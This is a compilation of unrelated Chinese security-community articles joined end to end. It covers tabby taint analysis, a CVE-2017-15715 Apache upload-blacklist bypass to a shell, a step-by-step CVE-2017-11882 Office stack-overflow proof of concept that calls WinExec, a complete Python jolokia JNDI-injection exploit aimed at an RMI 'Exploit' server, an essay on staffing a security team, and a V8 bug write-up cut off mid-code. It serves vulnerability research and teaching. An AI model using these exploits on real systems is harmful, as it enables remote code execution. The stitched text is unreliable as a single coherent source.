有了相关的语义缓存信息之后，我们就可以通过编写 neo4j 的扩展来实现动态自定义的污点数据流分析，来看一个实际的例子
首先，人工分析一下 M1 函数和 M2 函数，可以知道的是 M2 函数存在危险函数 `Runtime.exec`，并且一个来自于参数 0，一个来源于参数
1。回溯到 M1 的代码中，我们可以知道传入 M2 的参数 0 为受污染的变量，参数 1
为固定字符串，不受污染。那么，经过人工分析，实际可以得到上面标红的函数调用路径是存在漏洞的。那么，从污点数组中进行推算该如何进行呢？ 以
`M1-[-3,-1,-3]->M2` 这个节点为例 1. M1 函数有基础的污点信息 `[-1]`，指代当前跟函数调用者本身有关的都是受污染的 2.
`a.M2(this.data, "ifconfig")` 的边上污点信息为 `[-3,-1,-3]` 3\. 利用 1 和 2 的两个数组，推得 M2
的基础污点信息为 `[0]`，表示传入到 M2 函数的跟入参 0 相关的变量都是受污染的 依次类推，可以得出第一个 `exec` 函数的基础污点信息为
`[0]`，表示当前调用 `exec` 函数的第一个参数是可控的。我们都知道如果 `exec`
函数的第一个参数是可控的话，当前函数调用链路就是有问题的，可以导致任意命令注入。 而第二个 `exec` 函数的调用，在边信息 `[-3,1]` 中找不到
M2 的 `[0]`，则得不出当前 exec 的基础污点信息，所以当前的调用路径是不存在命令注入安全问题的。
通过上述例子的推算过程，我们可以编写 neo4j
的污点推算扩展，通过该扩展，我们可以直接通过自定义函数在图数据库上进行动态的污点数据流分析，挖掘存在安全问题的函数调用链路。
最终，通过这两个阶段的组合，我们可以直接通过 neo4j 的查询语法来进行漏洞挖掘。
## 2 漏洞挖掘案例
截止目前，我们已经使用 tabby 挖掘到了 60+ 0day 漏洞和 8 个 CVE。本节将分享一个实际的 web 漏洞挖掘案例，其余案例可以直接看文末的
ppt。
首先，tabby 对常见的 web 端点进行了识别，可以直接用 `IS_ENDPOINT` 属性来表示 source
函数。此处的例子比较特殊，我们需要对框架的特殊 source 进行 neo4j 语句上的描述
match (source:Method {NAME:"doAction"})<-[:HAS]-(c:Class)-[:INTERFACE|EXTENDS*]->(c1:Class {NAME:"nc.bs.framework.adaptor.IHttpServletAdaptor"})
描述当前 source 的函数名为 `doAction`，且当前 source 的归属类实现了 `IHttpServletAdaptor` 接口
其次，tabby 内置了一些常见的 sink 函数，使用 `VUL` 属性来区分
match (sink:Method {IS_SINK: true, VUL: "FILE_WRITE"})
描述查找文件上传相关的危险函数
最后，我们利用 tabby path finder 提供的具备污点分析的扩展函数进行漏洞利用链挖掘
call tabby.algo.findAllVul(sources, sinks, 8, false) yield path
return path limit 1
通过组合上述查询语句，最终可以查询出一条有效的存在漏洞的函数调用链路。
上述例子是利用 tabby 最简单的一种应用方式，还有更多的使用方法等着你来探索 XD
## 3 总结
随着技术的发展，程序分析技术和图数据库的结合在自动化漏洞挖掘的应用上变成了一种趋势。最近几年很火的 CodeQL
也是基于这种思路开发的。本文所提及的实践仅为一种粗浅的尝试，主要介绍了 tabby 的两个重要部分的设计和实现思路。欢迎有兴趣的同学来一起交流和实践 XD
另外，此文的另一个目的是作为 KCON 2022 议题 [《 tabby: java code review like a pro
》](https://github.com/knownsec/KCon/blob/master/2022/tabby java code review
like a pro【KCon2022】.pdf) 的一个补充，从文章的方式解释了 ppt 中不太清晰的点。如果你还有其他的疑问，非常欢迎私我交流 XD
* * * | 社区文章 |
作者：Phith0n
作者博客：<https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html>
我在[代码审计知识星球](https://www.leavesongs.com/PENETRATION/code-auditor-secret-group.html "代码审计知识星球")里提到了Apache最新的一个解析漏洞（CVE-2017-15715）：
除了帖子中说到的利用方法，我们还可以利用这个漏洞来绕过上传黑名单限制。
#### 目标环境
比如，目标存在一个上传的逻辑：
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}
可见，这里用到了黑名单，如果发现后缀在黑名单中，则进行拦截。
然后，我们用docker启动一个默认的Apache PHP（Apache版本在2.4.0到2.4.29即可）：
docker run -d -p 8080:80 --name apache php:5.5-apache
将上述代码放置在容器内的`/var/www/html`目录下，设置好写权限，即可进行测试。
#### 绕过黑名单getshell
正常上传php文件，被拦截：
可以上传1.php.xxx，但是不解析，说明老的Apache解析漏洞不存在：
我们利用CVE-2017-15715，上传一个包含换行符的文件。注意，只能是\x0A，不能是`\x0D\x0A`，所以我们用hex功能在1.php后面添加一个`\x0A`：
然后访问/1.php%0A，即可发现已经成功getshell：
#### 总结
研究这个漏洞的过程中遇到几个问题：
1. 获取文件名时不能用`$_FILES['file']['name']`，因为他会自动把换行去掉，这一点有点鸡肋
2. 默认的Apache配置即可利用，因为默认Apache配置就使用了`<FileMatch>`：
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
所以理论上，只要用正则来匹配后缀进行php解析的Apache就有这个问题。而这个做法刚好是为了解决[Apache老的解析漏洞](https://github.com/vulhub/vulhub/tree/master/httpd/apache_parsing_vulnerability
"Apache老的解析漏洞")而做的，可谓非此即彼，必然存在一种解析漏洞。
延伸一下，其他环境是不是可能出现同样的问题？比如nginx + php，我进行了测试，发现结果却有些区别：
如上图，成功上传后，访问却出现`Access denied`错误。
这也是我预想的结果，因为我在[《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 &&
Exp编写》](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
"《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 &&
Exp编写》")已经提到过，fpm存在一个`security.limit_extensions`配置，默认只解析php后缀的文件，多一个换行也不行。
漏洞本身其实没啥意思，但是$这个原理，以后应该还会有更多用处。
* * * | 社区文章 |
# 【漏洞分析】CVE-2017-11882漏洞分析、利用及动态检测
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者** ：[@银雁冰](http://bobao.360.cn/member/contribute?uid=314174049)
预估稿费：1200RMB
（本篇文章享受双倍稿费 活动链接请[点击此处](http://bobao.360.cn/news/detail/4370.html)）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
****
****[**【漏洞分析】Microsoft
Office内存损坏漏洞（CVE–2017–11882)分析**](http://bobao.360.cn/learning/detail/4734.html)
**
**
**前言**
****
CVE-2017-11882是微软本月公布的一个远程执行漏洞，通杀目前市面上的所有office版本及Windows操作系统(包括刚刚停止支持的Office
2007)。
**该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时，在拷贝公式字体名称时没有对名称长度进行校验，从而造成栈缓冲区溢出，是一个非常经典的栈溢出漏洞。**
上次出现这么典型的office栈溢出漏洞是著名的 **CVE-2012-0158**
。本文将深入分析该漏洞背后的机制，并在此基础上讲一下poc的构造方法，利用思路及动态检测方式。
**漏洞原理分析**
****
**调试环境: windows7_sp1_x86 + office 2007 x86 + windbg 6.11 x86**
**EQNEDT32.EXE version: 2000.11.9.0**
该漏洞和经典的CVE-2012-0158一样，位于实现OLE接口的 **IPersistStorage::Load**
函数中。sub_40415B为ole的初始化过程，如下图1所示，它调用了sub_40440A函数，sub_40440A的主要作用是在初始化EQNEDT32.EXE实现的COM接口的各个函数指针。
图1
通过工具我们可以看到 **EQNEDT32.EXE** 实现了如下接口(图2)：
图2
我们可以在EQNEDT32.EXE文件里面看到对这些接口的比较和使用，如图3所示：
图3
我们重点关注IPersistStorage接口，任何ole对象必须实现该接口，图4为微软对该接口的说明：
图4
通过简单的逆向工程，我们可以看到IPersistStorage接口的各个方法指针在 sub_40440A中被初始化，如图5所示：
图5
图5中红框圈出的 **IPersistStorage::Load**
方法的主要用途是用来读入ole数据，在EQNEDT32.EXE中实现该方法后，即可被调用以读入MathType对应的ole数据，我们来看一下这个Load函数内部是怎么实现的，我们可以看到该函数的核心逻辑是打开并读入一个叫做“Equation
Native”的流的数据(图6-1)，在此基础上进一步读入MathType数据(图6-2)，图6-3为动态调试记录：
图6-1
图6-2
图6-3
我们来看一下这个“Equation
Native”流来自哪里(图7)，通过分析ole文件，我们可以看到该流的数据由用户所提供，正常情况下，流里面的数据代表一个MathType的公式，而恶意攻击者构造的数据可以如图7所示：
图7
该漏洞的直接触发原因为：在读入公式的Font
Name数据时，在将Name拷贝到一个函数内局部变量的时候没有对Name的长度做校验，从而造成栈缓冲区溢出，如图8所示。从图9可以看出，函数给SrcStr变量分配的大小是0x24个字节，超过该大小就会造成溢出，从而覆盖不远处的eip，达到劫持程序执行流的目的，从StrStr开始算起，eip的位置为+0x2c，即44，再往前覆盖就是调用参数。
图8
图9
整个漏洞执行过程的步骤如图10所示
图10
图11
图12
图13
**从零开始构造POC**
****
上面已经把这个漏洞的原理和触发流程讲清楚了，下面我们尝试构造一个poc。由于该漏洞涉及到MathType公式数据在OLE中的结构，所以我们需要熟悉其结构分布。根据网上公开的数据结构，整个“Equation
Native”的数据构成为：
Equation Native Stream Data = EQNOLEFILEHDR + MTEFData，其中
MTEFData = MTEF header + MTEF Byte Stream
下面一个一个来看。
**EQNOLEFILEHDR** 的结构如下(图14-1)：
图14-1
MTEF header的结构如下(图14-2)，实际发现通过office 2007插入的公式其product
subversion字段恒定为0x0A，这与下图有所出入：
图14-2
MTEF Byte Stream的结构如下(图14-3)，可以看到它由一个SIZE
record及后续的一些record构成，各种record的类别如图14-4所示，其中对于本次漏洞相关的Font record的说明如图14-5所示。
图14-3
图14-4
图14-5
我们来对照首次被公开的CVE-2017-11882 poc的数据，看一下上述结构的具体对应情况(图15)：
图15
我们再来看一下漏洞发现者自己给出的poc里面上述结构的对应情况(图16)：
图16
最后我们来看一下一个插入的普通公式的上述结构对应情况(图17)，可以看到此时数据中并没有font record：
图17
通过上面的观察我们已经发现，所有插入的Equation Native数据在截止到SIZE
record的数据排布都是一致的，不同之处在于恶意的Equation Native在SIZE record后放了一个Font record，其数据构成为：
**Font record = tag(固定为8，占一个字节) + typeface(占一个字节) + style(占一个字节) +
font_name(以0x00结尾的字符串)**
观察发现typeface和style这两个字节比较随意(两个poc里面这两个字节并不相同)，实际构造时，我把两个字节改成其他的一些值(例如全为0)并不影响漏洞的触发。
**对Equation Native数据的具体解析**
****
Eqnedt32在如下位置读入font tag(图18-1)，图18-2为动态调试时进行的验证。
图18-1
图18-2
随后将tag传入sub_43A720函数，并进一步传入其子函数sub_43A87A进行判断，如图19所示：
图19
在sub_43B418函数中，首先读取font record中代表typeface和style的两个字节，如图20所示：
图20
随后的sub_4164FA开始逐个读入字节读入font name的数据，直到遇到一个NULL，如图20所示。读入font
name后，再调用sub_4214A6函数进行一些处理(图21)，由于前面读入的font
name数据过长，从而导致在sub_4214A6函数内部再进入几层调用后导致栈溢出，整个流程我已经在图10中进行概述，这里不再往下展开
图21
从正常插入的ole开始构造poc。为了方便构造poc，我先用word插入了一个正常的Equation.3公式，提取出的Equation
Native数据如图17所示，现在开始我要在此基础上构造一个弹出计算器的poc。
首先，直到SIZE record(0x0A)截止的数据都保持不变，将后面的数据替换为font
tag(0x08)及其对应的数据(可以看到我将typeface和style这两个字节设为了0)，如图22所示，我用从0x01开始的有规律的数据进行填充以方便后面我在栈溢出后对数据偏移进行定位。
图-22
用修改过的ole替换正常的ole，(对一个docx文件来说，就是用压缩软件替换wordembeddingsoleObject1.bin这个文件，然后重新保存成docx即可，rtf的替换方式稍微有些不同，不过也比较简单)，打开后单击界面上的公式即可启动eqnedt32.exe进程。
为了调试，我们需要挂上windbg进行调试。可能有人会问如何用windbg挂上eqnedt32.exe，方法很简单，手动增加一个注册表项，或者用gflag工具设置一下eqnedt32.exe启动时附加windbg即可，具体过程请参考文末给出的链接。
Windbg挂上进程后让其运行，发现执行流在如下位置(图23-1)发生访问违例，可以看到违例数据为0xa2a1a09f(这并不是我们所期待看到的访问违例点)，这即为我在图10里面提到的备注1和备注2。问题数据位于图23-2中的蓝色位置。访问违例发生的原因是4217c3处调用的sub_421E39函数内发生栈溢出(覆盖的是父函数的栈，这个溢出点在11月的补丁中并没有修复)，导致覆盖了父函数的第一个参数lpLogfont，具体如图23-3所示
图23
图23-2
图23-3
搞清楚问题的原因后，我们先确保这里溢出时不覆盖返回地址和第一个参数，我们需要将9B改成00，让数据在拷贝时自然截断，如图24所示，继续进行尝试：
图24
继续尝试，发现此时又在如图25所示的位置发生访问违例：
图25
排查发现这是因为调用sub_44C430时父函数(sub_41160F)的第一参数作为sub_44C430函数的第二参数传入导致的(如图26-1，图26-2，图26-3所示)，传入前父函数的第一参数已被覆盖，所以sub_44C430在取数据时发生访问违例。
图26-1
图26-2
图26-3
再次搞清楚原因之后，我们再对poc的字节码做些修改，我们并不希望sub_41160F的第一个参数被破坏。重新执行样本，在sub_41160F的溢出发生后断下，如图27-1所示，可以看到此时第一参数被覆写为0x3a393837，我们再次修改poc数据，将37改成00，让拷贝在此处截止，修改完后的数据如图27-2所示。
图27-1
图27-2
再次替换ole，这次终于执行到了我们所期待的地址处，且返回地址已经被我们提供的数据所覆盖，如图28所示：
图28
现在我们将原先33343536处的数据改成120C4300这个地址(该地址处调用了WinExec)，如图29所示：
图-29
再次替换ole，发现执行到所期待的ret栈上的数据已经完全为我们所控制，如图30所示：
图30
最终，我们只需要将01020304…处的数据替换为任意我们想执行的命令的字符串对应的十六进制即可(可以计算得出cmd的最大长度为44个字节)，比如“calc.exe”，如图31所示：
图31
最后一次替换ole，411874处的ret语句执行前栈上数据如图32所示，单步执行，最终弹出计算器(图33)，并且word进程没有crash：
图32
图33
**对该漏洞利用方式的思考**
****
关于自动触发，由于调试时我保存成docx，所以每次都是单击公式触发的。若要自动触发，我们可以将其保存成rtf格式，并且在在ole对象头部增加红色的关键字“{objectobjembobjupdate…”。还可以在pptx文档内插入公式数据对该漏洞进行利用，自动触发方式可以借鉴CVE-2014-4114/CVE-2014-6352的触发方式，用自动播放动画的特性去调用DVerb进行触发，我还没尝试过，不过这是一个很好的思路。
由上面的分析可以推算，WinExec的命令行的最大长度为0x24+0x4(第一个局部变量)+0x4(ebp)=0x2c，所以受到了很多限制。这里提一种有意思的方法,由于ole在实现IPersistStorage::Load方法时一直存在一个缺陷，导致在某些特定条件下下可以将一个ole对象里面存储的文件保存到temp目录(并且文件名可指定)，这个机制缺陷在几年前已经被HaifeiLi所吐槽，但微软一直没有修复该问题，感兴趣的同学可以阅读参考链接中他在BlackHar2015上的演讲。
这样一来，我们可以在一个rtf文件中插入两个(或多个)ole，第一个用来将文件写入到temp文件夹，第二个ole利用CVE-2017-11882去执行temp文件夹下面的文件。这样的使用方法和CVE-2014-4114/CVE-2014-6352的方式有异曲同工之妙。目前野外已经出现这类样本，这里也请大家暂时参照网上的方法禁用公式编辑器3.0这一组件，以做好防范工作。
**漏洞动态检测及防御**
****
该漏洞的动态防御特别简单，因为是栈缓冲区拷贝时溢出，所以校验待拷贝长度是否超过缓冲区的长度即可，如图34所示，在红框处执行完毕后检查ecx的值，如果大于StrStr缓冲区的长度(0x24)，即视为触发漏洞。微软在补丁里面把溢出校验长度设置为0x20，比实际少4个字节，可能为了保险起见吧。
图34
**参考链接**
****
《Attacking Interoperability》
[https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Li-Attacking-Interoperability-An-OLE-Edition.pdf)
《IPersistStorage interface》[https://msdn.microsoft.com/en-us/library/windows/desktop/ms679731(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679731\(v=vs.85\).aspx)
《MathType MTEF v.3(Equation Editor 3.x)》
[http://web.archive.org/web/20010304041035/http://mathtype.com:80/support/tech/MTEF3.htm](http://web.archive.org/web/20010304041035/http:/mathtype.com:80/support/tech/MTEF3.htm)
《How MTEF is Stored in Files and
Objects》[http://web.archive.org/web/20010304111449/http://mathtype.com:80/support/tech/MTEF_storage.htm](http://web.archive.org/web/20010304111449/http:/mathtype.com:80/support/tech/MTEF_storage.htm)
《Skeleton in the closet. MS Office vulnerability you didn’t know
about》[https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about](https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about)
《Did Microsoft Just Manually Patch Their Equation Editor Executable? Why Yes,
Yes They Did. (CVE-2017-11882)》 [https://0patch.blogspot.jp/2017/11/did-microsoft-just-manually-patch-their.html](https://0patch.blogspot.jp/2017/11/did-microsoft-just-manually-patch-their.html)
《How to: Launch the Debugger Automatically》[https://msdn.microsoft.com/en-us/library/a329t4ed(v=vs.100).aspx](https://msdn.microsoft.com/en-us/library/a329t4ed\(v=vs.100\).aspx)
《CVE-2017-11882》<https://github.com/embedi/CVE-2017-11882> | 社区文章 |
# Attack Spring Boot Actuator via jolokia Part 2
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文接[上文](https://www.lucifaer.com/2019/03/11/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%201/)，这里不会分析原文章中所说的/env这种利用的方法，而是说一下rr大佬的发现的另外一条利用链。
## 0x01 检查MBean
如果说不存在ch.qos.logback.classic
reloadByURL这个MBean，还能不能造成RCE呢，这个是我在看完文章后的一个想法。如果说想要解决这个问题，我们需要再看看/jolokia/list中还有哪些利用链可用（真的是太多了T
T，由于当时看完记得是在Spring Boot中内嵌的Tomcat中，所以直接看的这个类，然而这个类差点也看跪了T T）。
最终找到org.apache.catalina.mbeans.MBeanFactory这个可能能造成JNDI注入的类，其中有以下这么几个方法从注释的描述中感觉是可以造成JNDI注入的：
* createUserDatabaseRealm
* createDataSourceRealm
* createJNDIRealm
这几点中只有最后的createJNDIRealm是可用的，但是他们前面的处理流程都是一样的，接下来就将他们前面的处理流程简单的分析一下，并说明为什么只有createJNDIRealm是可用的。
## 0x02 Realm创建流程分析
Realm是一个MVCC数据库，而MVCC是用于解决多版本并发问题的一个方法。有关Realm的一些具体介绍可以参考[这篇文章](https://infoq.cn/article/introduce-and-common-problems-of-java-realm-principle)。而我自己的理解是就是它给每一个连接的线程建立了一个“快照”，当两个请求同时到达一个线程时，程序不会造成阻塞，而是会在这个“快照”（也是一个线程）中进行操作，当执行完成后，阻塞合并更改（有点像git）：
然而Realm的原理跟我们主要要说的关系不大，tomcat在创建不同的Realm时其实大致的流程都是相同的，只是最后的具体实现不同而已，比如上一节中说道的三个Realm的创建在代码实现流程上是极为相似的：
所以我们跟一下红框的部分然后看具体实现就好。
不难看出关键点在于container.setRealm(realm);，跟进看一下：
如果不存在则创建一个新的realm，这里涉及到Lifecycle的一部分设计与实现，如果想要了解Lifecycle的细节的话，可以参考[这篇文章](https://uule.iteye.com/blog/2340873)。跟进看一下：
看一下这个startInternal的具体实现，发现是一个虚类，那么看一下它的继承关系，找一下它的具体实现：
可以看到我们所找到这三个Realm的具体实现点了。
下面说一下为什么createUserDatabaseRealm和createDataSourceRealm不能用。
1. createUserDatabaseRealm
* * 乍一看resourceName可控，好像可以JNDI注入，然后发现getGlobalNamingContext()返回的是一个null：
* 所以无法利用。
2. createDataSourceRealm
* * 好像并不可以利用。
## 0x03 createJNDIRealm的利用分析
那么再来看看createJNDIRealm：
这里有两个重要的点，createDirContext()用env来创建一个InitialDirContext，另一个点是Context.*的配置我们可以控。
那么具体的JNDI触发点在哪里呢？我们需要着重跟一下createDirContext。
首先createDirContext最后返回一个InitialDirContext对象，而这个对象是根据env来生成的：
跟进，发现这个InitialDirContext实际上是InitialContext的子类，为什么要着重强调这一点呢？因为JDNI的两个必备要素中就一个要求是：上下文对象是通过InitialContext及其子类实例化的，且他们的lookup()方法允许动态协议切换。
跟进看一下：
myProps通过传入的初始上下文配置经过处理返回完整的上下文环境，可以把它看成env的“完整版”。接着向下跟进：
注意红框部分，我们可以通过设置env中的INITIAL_CONTEXT_FACTORY来控制这里的factory，可以看一下有哪些是我们可以指定的：
可以看到我们可以指定com.sun.jndi.rmi.registry，来进行rmi的操作，来看一下具体实现：
这里的var1还是我们的env，也就是说这里的第一个参数是可控的：
var0、var1可控，还调用了lookup()，在这里完成了JDNI的注入。
## 0x04 构造poc
梳理一下思路，我们需要做这么几部来完成攻击：
3. 创建JNDIRealm
4. 通过getDirectoryContextEnvironment()来设置contextFactory为RegistryContextFactory，并将connectionURL设置为自己的N/D服务器
5. 重启Realm来完成更改并执行（stop、start）
也就是说需要发4次请求。
在利用过程中get请求的构造比较麻烦这里用post请求来构造poc，关于post如何解析的可以参考get请求解析的分析流程，这里就不过多描述了。
poc：
import requests as req
import sys
from pprint import pprint
url = sys.argv[1] + "/jolokia/"
pprint(url)
create_JNDIrealm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
set_contextFactory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
set_connectionURL = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://localhost:1097/Exploit"
}
stop_JNDIrealm = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]
for i in expoloit:
rep = req.post(url, json=i)
pprint(rep.json())
效果：
## 0x05 Reference
* https://infoq.cn/article/introduce-and-common-problems-of-java-realm-principle
* https://uule.iteye.com/blog/2340873
* https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt | 社区文章 |
# 1\. 信息安全团队职责
大的方面可以参考组织的信息安全策略，安全团队的主要目标是安全治理，安全治理与组织治理、IT治理目标一致，维持业务流程，追求增长和弹性。小的方面可以说做好安全控制，降低业务实际被入侵的几率。
# 2\. 人员编制和职责
安全团队从无到有大概有2种情况：
* 由运维人员兼任，之后独立出来作为运维部门下面的一个小组，有可能会成为独立的部门，有较高的权限。
* 从合规需求或由其他安全事件导致的从外面引入的安全专家慢慢组建，起点通常比第一种情况要好些。
>
> 做了多年的乙方和甲方，觉得安全做不好的原因很大部分是高层只是口头支持，只要不出事情，不会有什么实际投入。这里说下政府的各种检查单位，虽然不一定能从技术上做出什么指导，作为忽悠领导的理由的作用还是不错的。安全工作的推动，获取最高层领导的支持很重要，这个可以是安全部门不好明说的重要任务。
安全部门人员编制，组织业务较小时所有安全工作可以由一个人负责，但是只要业务规模稍大，一个人忙死也完不成所有安全工作的，最后可能会变成由事推人，唯一的安全人员变成一个救火人员，没时间思考和实际改进组织的安全情况。安全部门的大概编制如下：
* 部门负责人
* 负责组织整体的信息安全规划；
* 负责向高层沟通申请资源，负责与组织其他部门的协调沟通，共同推进信息安全工作；
* 负责信息安全团队建设，当然对组织所有安全职员的工作的过程和结果负责；
* 负责安全事件应急工作处置；
* 负责推动组织安全规划的落实。
* 合规管理员（可以由部门负责人兼任）
* 负责安全相关管理制度、管理流程的制定，监督实施情况，修改和改进相关的制度和流程；
* 负责合规性迎检准备工作，包括联络、迎检工作推动，迎检结果汇报等所有相关工作；
* 负责与外部安全相关单位联络；
* 负责安全意识培训、宣传和推广。
* 安全技术负责人（也可以由部门负责人兼任）
* 业务安全防护整体技术规划和计划，了解组织安全技术缺陷，并能找到方法进行防御；
* 安全设备运维；
* 服务器与网络基础设备的安全加固推进工作；
* 安全事件排查与分析，配合定期编写安全分析报告，专注业内安全事件；
* 跟踪最新漏洞信息，进行业务产品的安全检查；
* 负责Web漏洞和系统漏洞修复工作推进，跟踪解决情况，问题收集。
* 了解最新安全技术趋势。
上面3个职责描述基本是组织安全团队的基本需求，人员可以由1-3人组成，安全技术方面由于有几个方向对专业要求比较高，渗透和代码审计可能需要另外专人负责，如果网络规模和业务规模比较大的情况还需要专门的安全设备运维人员，这部分工作也可以做服务外包。
* Web 渗透/代码审计人员
* 对组织业务网站、业务系统进行安全评估测试（黑盒、白盒测试）；
* 对漏洞结果提供解决方案和修复建议。
* 安全设备运维人员
* 负责设备配置和策略的修改；
* 负责协助其他部门的变更导致的安全策略修改的实现。
实际安全工作中，供应商的安全产品和已经使用的各种开源工具并不能满足自己组织的实际安全需求，导致有各种2次开发的需求，这部分需求基本是随时的，安全部门自己有合适的点子就可以自己尝试实现，类似运维开发的需求，安全部门最好有一个安全开发人员，能力强的渗透可以兼任，主要职责如下：
* 安全开发
* 根据组织安全的需要开发安全辅助工具或平台；
* 参与安全系统的需求分析、设计、编码等开发工作；
* 维护公司现有的安全程序与系统。
# 3\. 团队建设建议
主要下面4点：
1. 一定要做安全团队自己的知识库，将组织的所有安全管理文档和记录文档集中放到一起，安全部门和组织所有所有人员都知道在那能找到安全相关的制度和文档，也能找到相关流程的执行记录。另一个好处是安全知识累积，由安全人员离职或职位变动导致的后果也能很快由新入职人员补上。还有个好处是在迎接检查时不需要到处找文档和记录。
2. 大部分甲方安全团队的能力不是很强（互联网公司的除外），安全团队人员也需要不断的学习，内部的分享工作与年终总结的工作挂钩，鼓励内外部的知识分享，鼓励参加各种安全沙龙和会议，可以花一定的时间一起学习各个安全会议开放的演讲PPT。
3. 定期组织威胁分析会，根据组织实际的业务情况和最新的漏洞情况分析可能遭受的攻击场景，评估后果以及防御措施，总结应急备忘录。
4. 有条件让安全人员在组织的其他部门呆一段时间，实际参与到其他部门的工作中，了解其他部门的实际情况，熟悉业务和其他部门的人员，好推动安全措施的落实。 | 社区文章 |
**作者：360 Alpha Lab
原文链接：<https://vul.360.net/archives/144>**
> 在2020年7月，我们向谷歌上报了一条远程ROOT利用链，该利用链首次实现了针对谷歌旗舰机型Pixel
> 4的一键远程ROOT，从而在用户未察觉的情况下实现对设备的远程控制。截至漏洞公开前，360 Alpha
> Lab已协助厂商完成了相关漏洞的修复。该漏洞研究成果也被2021年BlackHat
> USA会议收录，相关资料可以在[这里](https://www.blackhat.com/us-21/briefings/schedule/#typhoon-> mangkhut-one-click-remote-universal-root-formed-with-two-> vulnerabilities-22946)找到。
> **该项研究成果也因其广泛的影响力在谷歌2020年官方漏洞奖励计划年报中得到了公开致谢，并斩获“安全界奥斯卡”Pwnie
> Awards的“史诗级成就”和“最佳提权漏洞”两大奖项的提名。这条利用链也因其广泛的影响力被我们命名为“飓风山竹”。**
这篇文章将对利用链中使用的Chrome
V8引擎漏洞（CVE-2020-6537）进行分析，并介绍该漏洞在利用过程中遇到的困难与限制，在研究过程中，我们先后提出了两种不同利用思路，其中的心路历程也会在文中进行分享。
## The Bug
`Promise.allSettled`
是一个JavaScript内建函数。从MDN的介绍可以了解到，该函数接收一个可迭代的对象作为参数，并返回一个promise对象。在所有位于可迭代对象中的promise-like元素得到处理后，这个promise对象将被resolve，从而得到一个结果数组。下面是`Promise.allSettled` 的用法示例：
Promise.allSettled([
Promise.resolve(1),
Promise.reject(2)
])
.then(results => console.log(results));
// output will be:
// [
// {status: "fulfilled", value: 1},
// {status: "rejected", reason: 2},
// ]
可以看到，结果数组中包含了2个对象，分别描述了参数中传递的2个promise的处理结果。
在详细分析V8引擎对于`Promise.allSettled`的实现之前，需要强调一点：只有当参数中所有的promise都被处理后，allSettled返回的promise才会被resolve，这意味着V8内部应当有相应的实现机制，用于判断是否所有的promise都已经被处理，并决定何时resolve作为返回值的promise。
以下源码分析均基于V8 8.4.371版本。`Promise.allSettled`是使用[Touque
language](https://v8.dev/docs/torque)来实现的：
// ES#sec-promise.allsettled
// Promise.allSettled ( iterable )
transitioning javascript builtin PromiseAllSettled(
js-implicit context: Context, receiver: JSAny)(iterable: JSAny): JSAny {
return GeneratePromiseAll(
receiver, iterable, PromiseAllSettledResolveElementFunctor{},
PromiseAllSettledRejectElementFunctor{});
}
`PromiseAllSettled`仅仅是调用了`GeneratePromiseAll`,
然后再调用至`PerformPromiseAll`。这个函数代码比较多，因此只在这里列出相关的部分：
transitioning macro PerformPromiseAll<F1: type, F2: type>(
implicit context: Context)(
constructor: JSReceiver, capability: PromiseCapability,
iter: iterator::IteratorRecord, createResolveElementFunctor: F1,
createRejectElementFunctor: F2): JSAny labels
Reject(Object) {
// ...
while (true) {
let nextValue: JSAny;
const next: JSReceiver = iterator::IteratorStep(
iter, fastIteratorResultMap) otherwise goto Done;
nextValue = iterator::IteratorValue(next, fastIteratorResultMap);
// Set remainingElementsCount.[[Value]] to
// remainingElementsCount.[[Value]] + 1.
const remainingElementsCount = UnsafeCast<Smi>(
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot]);
resolveElementContext[PromiseAllResolveElementContextSlots::
kPromiseAllResolveElementRemainingSlot] =
remainingElementsCount + 1;
const resolveElementFun = createResolveElementFunctor.Call(
resolveElementContext, nativeContext, index, capability);
const rejectElementFun = createRejectElementFunctor.Call(
resolveElementContext, nativeContext, index, capability);
// Let nextPromise be ? Call(constructor, _promiseResolve_, ?
// nextValue ?).
const nextPromise = CallResolve(
UnsafeCast<Constructor>(constructor), promiseResolveFunction,
nextValue);
const then = GetProperty(nextPromise, kThenString);
const thenResult = Call(
nativeContext, then, nextPromise, resolveElementFun,
rejectElementFun);
// ...
}
return promise;
}
大致上说，这个函数对传入的参数进行迭代，并对其中的每一个元素都调用了promiseResolve。同时，函数中使用了`remainingElementsCount`这个变量来代表“尚未处理完成的promise数量”，并将这个值保存在了resolveElementContext中，便于全局访问。我们可以用下面的伪代码来概括性的描述这个函数所做的事情：
for(promise in iterable) {
remainingElementsCount += 1
